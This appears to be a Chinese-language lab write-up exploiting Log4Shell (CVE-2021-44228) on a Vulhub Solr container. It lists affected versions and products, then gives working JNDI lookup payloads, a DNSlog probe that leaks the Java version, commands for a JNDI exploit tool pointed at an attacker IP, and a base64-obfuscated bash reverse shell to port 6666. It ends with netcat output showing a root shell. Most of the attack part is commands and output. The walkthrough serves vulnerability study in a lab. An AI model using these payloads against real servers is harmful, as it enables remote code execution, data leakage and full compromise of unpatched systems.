@TOC

0x00 漏洞简介

  • Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。

  • 该工具重写了Log4j框架,并且引入了大量丰富的特性。

  • 我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

  • 该日志框架被大量用于业务系统开发,用来记录日志信息。

  • Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

0x01 影响范围

Apache Log4j2 2.x <= 2.14.1

Apache Log4j2 2.15.0-rc1(补丁绕过)

log4j + ? = rce !

  • Apache Flink
  • Apache Struts2
  • Apache Spark
  • Apache Storm
  • Apache Tomcat
  • Apache Solr
  • Apache Dubbo
  • Apache Druid
  • Apache OFBiz
  • Apache Flume
  • Redis
  • Logstash
  • ElasticSearch
  • Apache Kafka
  • Ghidra
  • Spring-Boot-strater-log4j2
  • VMware vCenter
  • Minecraft

0x02 环境搭建(Vulhub)

这里以vulhub提供的Solr作为靶机环境

1
2
3
4
┌──(root💀kali)-[~/vulhub/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Creating cve-2021-44228_solr_1 ... done

访问靶机环境http://192.168.1.27:8983/solr/#/
在这里插入图片描述

0x03 Dnslog出网测试

1
2
action=${jndi:ldap://X.X.X.X/exp}
action=${jndi:ldap://iwpm6l.dnslog.cn}

先获取一个dnslog的子域名,并在靶机中进行ldap请求
在这里插入图片描述
在这里插入图片描述
dnslog回显正常,接下来利用dnslog获取java版本信息

1
action=${jndi:ldap://${sys:java.version}.iwpm6l.dnslog.cn}

在这里插入图片描述

0x04 JNDI注入反弹shell

这里用到一个JNDI注入的小工具,可以生成JNDI链接并启动后端相关服务

1
https://github.com/welk1n/JNDI-Injection-Exploit

可执行程序为jar包,在命令行中运行以下命令:

1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

命令会被作为参数传入Runtime.getRuntime().exec()函数中

首先运行jar,在本地启动服务,生成恶意的JNDI Links

1
2
3
4
5
6
7
8
9
10
11
12
root@iZ2zec7mjp663ump9wsug3Z:~# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 39.107.138.71
[ADDRESS] >> 39.107.138.71
[COMMAND] >> touch /tmp/success
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://39.107.138.71:1099/snyuh8
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://39.107.138.71:1099/0puzfm
ldap://39.107.138.71:1389/0puzfm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://39.107.138.71:1099/tcub4d
ldap://39.107.138.71:1389/tcub4d

这里使用JDK 1.8的链接,将其作为JNDI查询的对象,从而使得靶机访问ldap服务,获取到恶意的class文件
在这里插入图片描述
返回容器中查看可以看到touch命令成功执行

1
2
3
4
5
6
7
┌──(root💀kali)-[~/vulhub/log4j/CVE-2021-44228]
└─# docker exec -it 28c4b1734b97 /bin/bash
root@28c4b1734b97:/opt/solr# cd /tmp
root@28c4b1734b97:/tmp# ls
hsperfdata_root start_2309813075613123050.properties
jetty-0_0_0_0-8983-webapp-_solr-any-7467976691080398284 success

将命令换成反弹shell

1
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTM4LjcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

攻击机监听6666端口成功获取shell

1
2
3
4
5
6
7
8
9
10
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 171.43.224.56 13709 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@28c4b1734b97:/opt/solr/server# whoami
whoami
root